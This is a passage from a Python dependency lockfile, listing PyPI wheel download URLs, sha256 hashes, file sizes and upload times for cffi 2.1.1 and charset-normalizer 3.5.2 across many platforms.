{ url = "https://files.pythonhosted.org/packages/52/86/2976131c639aead931c5bee5aba67e4b09fbeb8018b6f282f70803f923a7/cffi-2.1.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6", size = 223835, upload-time = "2026-08-03T21:21:07.539Z" },
{ url = "https://files.pythonhosted.org/packages/ac/0c/33a7aeab2f9c76918c52e084beb39c570db3588133412929e8ec06fab90b/cffi-2.1.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94", size = 226705, upload-time = "2026-08-03T21:21:08.774Z" },
{ url = "https://files.pythonhosted.org/packages/e3/26/2cde30fdde421130bfc18f70395731a6e6b2053c6a1978a5258ff04e72fa/cffi-2.1.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5", size = 225539, upload-time = "2026-08-03T21:21:09.911Z" },
{ url = "https://files.pythonhosted.org/packages/6d/cd/a361394c94b2129d604bb846f624a8e88255a3ee33129c434a00d715e64f/cffi-2.1.1-cp315-cp315t-win32.whl", hash = "sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66", size = 182707, upload-time = "2026-08-03T21:21:11.226Z" },
{ url = "https://files.pythonhosted.org/packages/9b/b5/ba2b299993c26577d529b6ae29841f9e15b9fcf004d65f423f4fcf94ade9/cffi-2.1.1-cp315-cp315t-win_amd64.whl", hash = "sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3", size = 193772, upload-time = "2026-08-03T21:21:12.39Z" },
{ url = "https://files.pythonhosted.org/packages/aa/29/35e016098c814cd93de9cd320c66b5bfba14dc6ecedd3cb518fa7c408c69/cffi-2.1.1-cp315-cp315t-win_arm64.whl", hash = "sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692", size = 186360, upload-time = "2026-08-03T21:21:13.636Z" },
]
[[package]]
name = "charset-normalizer"
version = "3.5.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/33/1c/f41d4e74c28ab327ff3acd36053f7ea506c55872d7a90b0fa71aa3ab0c89/charset_normalizer-3.5.2.tar.gz", hash = "sha256:39de2a259fc954455c57274dc94c79d5842774e1247a016aff30bc0efed0f4ef", size = 172659, upload-time = "2026-09-30T04:39:23.398Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/58/ca/7aa91362a2f77ac8e9e28a9b902a74f7d0e11a851ef0d27a74308da8cd90/charset_normalizer-3.5.2-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:1afb975bd5d68d5ce9f6b6d44fdf2f7e34b895a35e95708a7a91b20a3b51d187", size = 226010, upload-time = "2026-09-30T04:36:27.669Z" },
{ url = "https://files.pythonhosted.org/packages/a8/cf/ac8878d0322cf88a1aad4c7b147db32ca0bd806eb0060957b2e31486dbe6/charset_normalizer-3.5.2-cp314-cp314-android_24_x86_64.whl", hash = "sha256:bbbfc8e28816f19d7c0f1816664980c0a9875d01b27cdf8eedddb639d9e108ad", size = 239266, upload-time = "2026-09-30T04:36:29.434Z" },
{ url = "https://files.pythonhosted.org/packages/c9/6d/9a08d7e0b29b7208e2c6c01dc56c8e0520e7c7beadbbfb024b58fd69c8a5/charset_normalizer-3.5.2-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7967d08cf06dee78443b874f98c98036f624f3a4e73e11f9f64f5be4d25393cf", size = 206783, upload-time = "2026-09-30T04:36:30.872Z" },
{ url = "https://files.pythonhosted.org/packages/82/44/b0aa350280e6ff5a5492d17cf10460dd39d5ee848f872f7ba2df10607f60/charset_normalizer-3.5.2-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4c2b5031f63e331e3839b40aed2dd6f191e9c07edbde303e7876846ea1946995", size = 210449, upload-time = "2026-09-30T04:36:32.625Z" },
{ url = "https://files.pythonhosted.org/packages/7c/8a/40db9aa9f5907bb0e6f8b6d64064bf8852fb33d4b813ff9414911df7647c/charset_normalizer-3.5.2-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:fcff63213e8e6e47770541a4607175404f47cbb3ebea7b6058cc82d524a0e424", size = 367815, upload-time = "2026-09-30T04:36:34.197Z" },
{ url = "https://files.pythonhosted.org/packages/7f/72/9c5e7707b57c8ddfa9ddf7b0b1d009d7fbab9e9e887d5b721060f37e307d/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8d86d6fc60743dc916eb79e2eb1ec4818e21e427731543af40a3021851174a13", size = 247095, upload-time = "2026-09-30T04:36:35.803Z" },
{ url = "https://files.pythonhosted.org/packages/83/09/71e453691e927de4ddf792770cfaab3f49d494e222f66ea5e404bbd5e39c/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7a881931aa470808df94a8c380eed2bbbc76cd9dc622310f99665658c821eb6d", size = 233942, upload-time = "2026-09-30T04:36:37.407Z" },
{ url = "https://files.pythonhosted.org/packages/9f/86/85c84e4da8b27dd409577d9437926ff581c5f9d3c66038dc68c1a526de51/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8024d00c3faf3fc0c16e07a69f4405e8eac7cc0ab15f65fe6cf43827c4cf72b4", size = 273762, upload-time = "2026-09-30T04:36:38.904Z" },
{ url = "https://files.pythonhosted.org/packages/92/08/564955a4b5f2ccb410ab480bbe8c6a18063ff27f2d35458731c4a5335df9/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4d48f2d08b9de5864e2c8744d4461b862fb149a18274abc8b698c45975573438", size = 269514, upload-time = "2026-09-30T04:36:40.469Z" },
{ url = "https://files.pythonhosted.org/packages/18/24/bad3ac4271589df29cf5ce2f5ae490518a5739358052bd0d61209e6fea54/charset_normalizer-3.5.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:34276fd796040bf0993ab33a369aa572e6979c7aab225a88893667ad8eac8f7a", size = 255056, upload-time = "2026-09-30T04:36:42.02Z" },
{ url = "https://files.pythonhosted.org/packages/d6/3e/350d89ad49916b86554d6f5f2d03ec1152148f87e5ff735106c6a03b1a36/charset_normalizer-3.5.2-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0521c5665880b33d603717defa76c094048900010897909952397feb3039da56", size = 251311, upload-time = "2026-09-30T04:36:43.577Z" },
{ url = "https://files.pythonhosted.org/packages/56/5b/4970a2d154df502e133402906dd04e3ae7cada7b3011283c88d0479a2585/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:eff0ac9dbe711a4aee69bf04a83896aa9b85f19641264053a9f6d48573abb7dd", size = 250190, upload-time = "2026-09-30T04:36:45.185Z" },
{ url = "https://files.pythonhosted.org/packages/88/8c/f1a91bddc8fb47c2889e29ea7ea49a194eb0d9868675d786806519c00d76/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1503bccbeb36d5527790c3930327704c39af22de3112f1b1666a9f3ce15ee204", size = 237098, upload-time = "2026-09-30T04:36:46.689Z" },
{ url = "https://files.pythonhosted.org/packages/24/0e/bb5dace3cc7e79068425386a6589c19b5a2ab5fefc2a46abea6919683332/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:52aa6992700996af31f375de0c6bacd402b0097fe40b53c426b9f51a90ebabc7", size = 274228, upload-time = "2026-09-30T04:36:48.31Z" },
{ url = "https://files.pythonhosted.org/packages/9d/79/b849ad523017ea9f5a45581bbebed91439e0cf42fd2860a6f64e358eb5a6/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e09a3942ecbdee5cce73ea9d42da82b81b72ac1bf031ce069b93b5adf4eac8cd", size = 252401, upload-time = "2026-09-30T04:36:50.091Z" },
{ url = "https://files.pythonhosted.org/packages/89/8c/75469d690cf47200bce8f6cad7655724fc23148e147abfc5ce78b5f65863/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:c7c9ab723cde841fefb34efbad91e87f00a674b1fe1cd0784fde742bf2c154dc", size = 271846, upload-time = "2026-09-30T04:36:51.719Z" },
{ url = "https://files.pythonhosted.org/packages/26/cd/6d52d3c7437cdcf2e310ce9f28f282e733d4ef60ed19105d1819c356255f/charset_normalizer-3.5.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ddc7dacc8ece3a182e7f15cb862d1fd616b46d076cb1ae9dd232b2c38b655874", size = 258151, upload-time = "2026-09-30T04:36:53.234Z" },
{ url = "https://files.pythonhosted.org/packages/f7/4c/070b38bdb5f49a70199fce923ec0726a49536a63ab262abbfcaaf351110b/charset_normalizer-3.5.2-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:ee43c17b173d46a3212baa6ead3ae258eeabdae48c263a01ccf0218c366dd655", size = 143570, upload-time = "2026-09-30T04:36:54.816Z" },
{ url = "https://files.pythonhosted.org/packages/81/84/9ebfc8ed6c8c4fcd8e726ff6bf220cc8deb3966e31dce9be8dd8aa017e64/charset_normalizer-3.5.2-cp314-cp314-win32.whl", hash = "sha256:4f87960d57feabfb618e4e0af6e7371645fa26a277860739d6e5d6e0012c92f0", size = 186412, upload-time = "2026-09-30T04:36:56.643Z" },
{ url = "https://files.pythonhosted.org/packages/d1/78/5ed86f743d4bc350db307e7636419a0a5ee1d91806d30c7f667bd5c80dae/charset_normalizer-3.5.2-cp314-cp314-win_amd64.whl", hash = "sha256:e4e81e09c1578b8df602e3db08b0b3ea0a6947ad612f52bf8dc5ea8d47691f0c", size = 210965, upload-time = "2026-09-30T04:36:58.205Z" },
{ url = "https://files.pythonhosted.org/packages/53/94/a3a7698e9b1a395e1eb99ccd9a324be9347973bff4e72db2a06496d7cd27/charset_normalizer-3.5.2-cp314-cp314-win_arm64.whl", hash = "sha256:80d02b6f04e92601a081dd97b23d3128033098bff5d35d392ddcc0476ea11253", size = 200406, upload-time = "2026-09-30T04:36:59.764Z" },
{ url = "https://files.pythonhosted.org/packages/c1/48/c5dd00d5ef7791f02666de250a5bb6071e29b7e133cf4b835800b6d3bc27/charset_normalizer-3.5.2-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:dca9ab98072a5a54ebacebdc45f53e645336b320c667410b061be1ca588ae709", size = 396871, upload-time = "2026-09-30T04:37:01.543Z" },
{ url = "https://files.pythonhosted.org/packages/12/c8/8379554b42e8368161d898476686947a0fdbd3e8865170d7909dcabfdee8/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f0aa869112ef88429ae17820d99c3dd9504c9e9c671d3c246f3d7442cb051084", size = 249711, upload-time = "2026-09-30T04:37:03.111Z" },
{ url = "https://files.pythonhosted.org/packages/4a/eb/2ddb1035d17320caa9f41682935123a9a250277b261c3efc86b2d2a21343/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c0afc6800ba57ccc350374c5bd6150419915d95ce93cdbab2d783d75eaf30ecb", size = 231146, upload-time = "2026-09-30T04:37:04.721Z" },
{ url = "https://files.pythonhosted.org/packages/4a/24/2ecb4bde104322cd7859d6594fcfa74649f8d90b3221c9feecbef149875b/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7dcd882da75ef9adf94903b1e3b9419e8aa8fb4c7396822b834b9ef7fb96954f", size = 271552, upload-time = "2026-09-30T04:37:06.295Z" },
{ url = "https://files.pythonhosted.org/packages/3f/98/9d5f6ebc3aee9fef5d30b4aff11fb2ab7a1222b4064f8ef2c7c87cde217a/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2e06a3a98f916dd41d27f3105e02e7a40181c98c94b9158733d03a6f80506c09", size = 269810, upload-time = "2026-09-30T04:37:07.905Z" },
{ url = "https://files.pythonhosted.org/packages/09/e1/a3b06a10461b1b7628853c934c644e03bc28e42767116afb52f19a56519b/charset_normalizer-3.5.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6bd128f206a7752ae1f2ab6c61bf8a24ba28913a10df8b14c2637b973ff97a80", size = 259845, upload-time = "2026-09-30T04:37:09.554Z" },
{ url = "https://files.pythonhosted.org/packages/fd/d3/6f561f74a296cf27d61775a1dc665ad13f3bff6a798810ca05907f37a7c4/charset_normalizer-3.5.2-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c8f3d67aeaf55f017982b73683f0e7342ba2f6635a78f69ce89ebb26aa411e5c", size = 252825, upload-time = "2026-09-30T04:37:11.274Z" },
{ url = "https://files.pythonhosted.org/packages/26/9f/69e13ca3b18f43e0eafcd34c04a45b732ae22a43b54a5fc9e119103356eb/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:fe9753dfee015c570d73df76f899f18444d41388bffcde097deba51c4fadbb9f", size = 252659, upload-time = "2026-09-30T04:37:12.941Z" },
{ url = "https://files.pythonhosted.org/packages/73/a9/ace29806a0dae18939919c76ba526472d83214afa101105fabff2cf30625/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:92888bb3187c5ba50500b00b3b310c9f2c651709d28036077680cb5255450a03", size = 238819, upload-time = "2026-09-30T04:37:14.659Z" },
{ url = "https://files.pythonhosted.org/packages/f8/c1/6116d52a2e3311ec80f21f5fb5e17b27405f10b9608af8f6e69516841a1b/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:d008d90a7f2471519aef0c90dfbe73b3e6e4d5e66ac48e19154c17e89e98b604", size = 272973, upload-time = "2026-09-30T04:37:16.346Z" },
{ url = "https://files.pythonhosted.org/packages/19/aa/9955c7e93bba10a9c7e8f7a5031b7ced66f3a1883a55c00712b8d5850ff3/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:31f3930700408d211f13378ccbe1c40845d8da54bd0681fac3a9b5aae81c7aa8", size = 253692, upload-time = "2026-09-30T04:37:18.212Z" },
{ url = "https://files.pythonhosted.org/packages/bb/33/2a6ae7fdc1b10cb581cef91addd8cdfc5f40d50abb5702309369d5834579/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:2a925889534b3748302dae5dead07cc13480de1dac3aea80a941b729b471ef93", size = 268757, upload-time = "2026-09-30T04:37:19.877Z" },
{ url = "https://files.pythonhosted.org/packages/a2/22/80992720a0282cd39bba1db35868e6b9c22f41281160143a836544bc1d8a/charset_normalizer-3.5.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f5ec61164adcec446f8969a3358ec3f9b26bbda3b9213e5586d219afa8df2915", size = 262220, upload-time = "2026-09-30T04:37:21.583Z" },
{ url = "https://files.pythonhosted.org/packages/92/9f/181fd07e1bffea1d95cd80c84ac537354f50699c22cfc4d3c02b6fc16208/charset_normalizer-3.5.2-cp314-cp314t-win32.whl", hash = "sha256:598a11a2c7ebaa5334bf698bf29568c9c390abac6a154d8170fedecd1cea38c5", size = 197797, upload-time = "2026-09-30T04:37:23.235Z" },
{ url = "https://files.pythonhosted.org/packages/49/1c/25d8415ec1c4f2f41f1680435e4c87cfb378ff2f677d950946f2a45d0632/charset_normalizer-3.5.2-cp314-cp314t-win_amd64.whl", hash = "sha256:7fdde2c9fd9e3eca40631e024664cf2584272cc8f96308cbe5fdfc930f51d8bc", size = 222765, upload-time = "2026-09-30T04:37:24.891Z" },
{ url = "https://files.pythonhosted.org/packages/3e/b4/46b48f013dadfc0d0d33b375438e31bdf5a989dc68389c6bf627054d4df9/charset_normalizer-3.5.2-cp314-cp314t-win_arm64.whl", hash = "sha256:d1befeed746d247c81127bb14de9dc3d30edb6e5976d34f83f86ed262b1d9105", size = 210985, upload-time = "2026-09-30T04:37:26.634Z" },
{ url = "https://files.pythonhosted.org/packages/ca/e9/34e597dee616d0b8ee4b34d29399e85c2204ade174157a48505d42baa4ff/charset_normalizer-3.5.2-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:87475fabc8d9996fd9c27debb395e642e8c838d78a00b6e932227a0e06b81e26", size = 367676, upload-time = "2026-09-30T04:37:28.329Z" },
{ url = "https://files.pythonhosted.org/packages/60/9f/a5d1c91c0263745e2cd344c5a4415d787c575501ab1d449f1148ac6b495d/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9409a8bf35cf78353942504b24a57de3d75b708997a1e4bd8db71ac8633ce364", size = 248414, upload-time = "2026-09-30T04:37:30.167Z" },
{ url = "https://files.pythonhosted.org/packages/26/79/e697f77464748a3ee3cf490c83d592459400d4898380d66c38366b03080c/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:498dc3188ca05a68231ac3fdbfc7f57eb67e1343c30e0fea17f8218c1599b253", size = 244775, upload-time = "2026-09-30T04:37:31.964Z" },
{ url = "https://files.pythonhosted.org/packages/ca/87/3d42a42e18ea066e2513936fd678a00696e77878b5ae04528976abdbcb83/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e242bb1c5e76e97dfa9e7f209a71e93a01d7f19ffdd5cfbb2e2d55b4f08f8ab0", size = 273877, upload-time = "2026-09-30T04:37:33.661Z" },
{ url = "https://files.pythonhosted.org/packages/c3/76/8a28136f3938ba9836f84280ce0c4d61ed1cf15a036b2034900c62634162/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:def79fa35ef0cef8d2accec024f4fdc7ead3012ff02f5215c783f39f03ef8cfc", size = 269455, upload-time = "2026-09-30T04:37:35.573Z" },
{ url = "https://files.pythonhosted.org/packages/a0/a1/4fbf5d0f0f1b2a080474c1cf9a2f12c4c6531bb0e8ba591055e846d2b4e9/charset_normalizer-3.5.2-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3df041de8887954562c9b261cba85ca0e9ded74048daf125f45edcfaa4832229", size = 257336, upload-time = "2026-09-30T04:37:37.397Z" },
{ url = "https://files.pythonhosted.org/packages/ba/a2/8b50aa320adb880ad579518e6f718f24944804b42a88b83d267d5d444125/charset_normalizer-3.5.2-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:04851f73ae72b8413dddadb16a49dfee95263553741fd42d546f7d66907e6be5", size = 257584, upload-time = "2026-09-30T04:37:39.522Z" },
{ url = "https://files.pythonhosted.org/packages/a5/57/50e3fed84e175f40349bd0da7a4fce94c87f0378f52d74f511d89e0bdc20/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:183b88127acdb4fabe59d951ab424faf1af7b63cdbb5f776186c1ea2ffcaed98", size = 251854, upload-time = "2026-09-30T04:37:41.23Z" },
{ url = "https://files.pythonhosted.org/packages/d6/54/f7fbb3493c9f49091213b9c2d6dd65800696f1ce1a3f196a4205f50417b1/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_armv7l.whl", hash = "sha256:16fa0eccf81304b79c5cd87f9271c3b85dd9dd99245e4422ae9c0dd45e0f99d3", size = 248767, upload-time = "2026-09-30T04:37:42.883Z" },
{ url = "https://files.pythonhosted.org/packages/d9/37/b3a6385acc5a1e45b39ae9c90bfb9cf838a09b9dd37ef2740ab4c6b4a2eb/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:7441d755b7ab94f8d4eb3e43ec05482d760842fd263d003a99102d742cd835e2", size = 274479, upload-time = "2026-09-30T04:37:44.658Z" },
{ url = "https://files.pythonhosted.org/packages/89/44/809913e2cfd279e635a9294fdbbfb1b1dc62a8189d473d561f649fce98d8/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:ca403d7e4798f525fdfc78e258820419cbbd0f0ecbab9de7840e3c017cf6b8cf", size = 258310, upload-time = "2026-09-30T04:37:46.529Z" },
{ url = "https://files.pythonhosted.org/packages/af/a2/f28400ab13359d91bd39179df8e149376b9bf36588e739a3a4f9de2b84b2/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:df29a0a7107f7011e77f4eebdddec4c7331e24d787a0b21a46d63bdf7445da95", size = 271100, upload-time = "2026-09-30T04:37:48.399Z" },
{ url = "https://files.pythonhosted.org/packages/e9/89/9bab37955edf0adb3b66f8a3a6617d9f2f487e0d56f295a6a286cb640aa6/charset_normalizer-3.5.2-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:f3c96f633825733f735c5a9cf21d21a257d8e1edf0b1cee0a064b9c424ca0f7d", size = 259936, upload-time = "2026-09-30T04:37:50.023Z" },
{ url = "https://files.pythonhosted.org/packages/23/b5/4459e08d45a679f903d50fea08bc52cfa728cca4d7bd02c757b5e5abda2e/charset_normalizer-3.5.2-cp315-cp315-win32.whl", hash = "sha256:281cb91036248400f4cc957495cccd44c275c2e0c5854f7e45ac5cf7dc193847", size = 186301, upload-time = "2026-09-30T04:37:51.722Z" },
{ url = "https://files.pythonhosted.org/packages/98/e8/55d5fd3935b4bce6da4fe0df61898e8c82653e317e677bd58aceb9c60f13/charset_normalizer-3.5.2-cp315-cp315-win_amd64.whl", hash = "sha256:89b53f3cda69831909888e0494f4fa0bcd3537e3e138dabeb620bd6ad946bae8", size = 210858, upload-time = "2026-09-30T04:37:53.427Z" },
{ url = "https://files.pythonhosted.org/packages/a9/5b/974423c2fd8e524c7a7f64318c1e02240ef954912fa2b4d70344107b9c68/charset_normalizer-3.5.2-cp315-cp315-win_arm64.whl", hash = "sha256:6be488a102b8cf28d0391d8c4ba7748938ae28b78ad901f8585520fca33ead1a", size = 200309, upload-time = "2026-09-30T04:37:55.015Z" },
{ url = "https://files.pythonhosted.org/packages/ee/f9/00ee0195db1013d8f7c416fd770fbeb560bb46eb2e36b054d05cb56f6cfa/charset_normalizer-3.5.2-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:915563965d418f986e7e145accc592eae9e1a1be3566ff98a05d7a9ec42a76e1", size = 395343, upload-time = "2026-09-30T04:37:56.743Z" },
{ url = "https://files.pythonhosted.org/packages/04/3a/c00b50e94c964cf934c7899cd47c97952fc11dad71cc5884b3c61795b09b/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:65cd72beeeca9d3aaea1201e5923859f308f952f9c71de93f06063c79f0f7a3b", size = 250114, upload-time = "2026-09-30T04:37:58.607Z" },
{ url = "https://files.pythonhosted.org/packages/50/27/d102dc880bbcffd0479ab64dfc1fb96777a854355a55e2bda72a71efadcb/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:b7fd005a73d9e657273b7a10dc71a9e03c8fb9ee6999798d6918ce095b81ac7f", size = 239997, upload-time = "2026-09-30T04:38:00.511Z" },
{ url = "https://files.pythonhosted.org/packages/a5/4a/bf7ef45794dd293fab5f98a9309817977fbb845b9998f171b8cc5d8437a3/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e54da4baf05720032d527874d40b65fa4d7e5c6c6a43d0c3adbeffcaf275a2b3", size = 272313, upload-time = "2026-09-30T04:38:02.509Z" },
{ url = "https://files.pythonhosted.org/packages/e8/ee/008a2837737991474c5754bb3191010007663860979701990982a502cbaf/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:124fbf1a8ff966d87ae05bb8bd45a71f966055ed8bba320d0c7cf450bc5f4d0e", size = 269986, upload-time = "2026-09-30T04:38:04.435Z" },
{ url = "https://files.pythonhosted.org/packages/93/ad/bd74a283940dc910c5b14f8e4f80a248082bc9c0fcbe1f54530cb6d9cc5e/charset_normalizer-3.5.2-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:28b4f0d66fb834ff90f28209ac7bce77868c45d8c93e26f906709d9b7c2e1af9", size = 260202, upload-time = "2026-09-30T04:38:06.549Z" },
{ url = "https://files.pythonhosted.org/packages/8a/7b/ed341c66f69f688723501fac752be3d63c7159ca0d0d4174fc611e5710bb/charset_normalizer-3.5.2-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:58ca3755ee7ff7f59b57789ec9833c9de9ea275405cdd240eda1f193112e398a", size = 259083, upload-time = "2026-09-30T04:38:08.311Z" },
{ url = "https://files.pythonhosted.org/packages/cc/9d/e41588b777965e5031a43128a1e96173ebb35ac75fc53ec3b517e7c21cd4/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:443eae2bf318abeaf6f15d785138f71fd6de770e99a92158b8b814265e079115", size = 253081, upload-time = "2026-09-30T04:38:10.402Z" },
{ url = "https://files.pythonhosted.org/packages/81/35/b761eb6d8c1eb218b9b42b9b4d5ac902afdc399fb6dac6f9a9aac7bda589/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_armv7l.whl", hash = "sha256:58f361dcbab699cf8f42db3f47c8e7fd1036f138c23a5d08de9fde5f425a730c", size = 248712, upload-time = "2026-09-30T04:38:12.317Z" },
{ url = "https://files.pythonhosted.org/packages/4d/2c/147169a041b747759f37405c0a97157e8e92de967968373101ff14915cba/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:1b4cbc7c3491ccb4aa17fcd8165649d01cf39f76de1696da8631b5f71b85401d", size = 274176, upload-time = "2026-09-30T04:38:14.138Z" },
{ url = "https://files.pythonhosted.org/packages/f0/2d/0ff8db0d373ba8538db686db11cd7e8912031490b9e4f383b41912e8d594/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:ba0b1d2620edf869789c3879223f52bf2afc5d31b3cb47cc57b3a12c05e2aa9d", size = 259413, upload-time = "2026-09-30T04:38:15.841Z" },
{ url = "https://files.pythonhosted.org/packages/8a/8e/b4a085fb47c9d3a7e43576a4784fdd8fe23f907514a972de8086edaf7a48/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:5e2b6b57e9733d39f0c9fd3185efa6b8e29652c4cd8fe94180272cf6ed9a78c4", size = 269434, upload-time = "2026-09-30T04:38:17.626Z" },
{ url = "https://files.pythonhosted.org/packages/83/1c/d8d8d7322a7c3eecdf3237a4a419cf41d2eaad8e006ce7dfdd9d4c8fa2eb/charset_normalizer-3.5.2-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:51cf45226a9b588d0d2b4880c62d686934b63ab0bd79ca23ab0e9762eb27441b", size = 262716, upload-time = "2026-09-30T04:38:19.214Z" },
{ url = "https://files.pythonhosted.org/packages/a0/16/0e4c6ba9b44e97a2da150e52d331e8f9c968b21b358fbffa6c856cebcd89/charset_normalizer-3.5.2-cp315-cp315t-win32.whl", hash = "sha256:5fb29fb8cd1a46c27a1bf9613ad5ec2599310d46b4025d9556404a6b6a292800", size = 197159, upload-time = "2026-09-30T04:38:21.037Z" },
{ url = "https://files.pythonhosted.org/packages/be/33/e90bc2b1374f7f36ef106f56620de5a783907e19ca857efe2277e31cac3e/charset_normalizer-3.5.2-cp315-cp315t-win_amd64.whl", hash = "sha256:a192e2c40070d92c3ccf777e3a5c4ff515573cd2bb7ed0c537fdadbbec5bbf21", size = 221322, upload-time = "2026-09-30T04:38:22.886Z" },
{ url = "https://files.pythonhosted.org/packages/66/89/dfa6dcb08c200b7830ab56439e8c1890f2971d51aafbb3937894a2e7fcfc/charset_normalizer-3.5.2-cp315-cp315t-win_arm64.whl", hash = "sha256:749e97e1b32313717a565abbe321bc2190bc8b35f1a67e4cdbc7c56c8d8ffe58", size = 209192, upload-time = "2026-09-30T04:38:24.648Z" },
{ url = "https://files.pythonhosted.org/packages/8c/ab/176fbfd5b64939c55d652366aa5b9ef1d767af207a3aa6ebeb0d226c484d/charset_normalizer-3.5.2-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:4275811936e2f06feff5e598fb42a1b7ae852da8e39605211892b56b81a34efd", size = 331815, upload-time = "2026-09-30T04:38:26.216Z" },
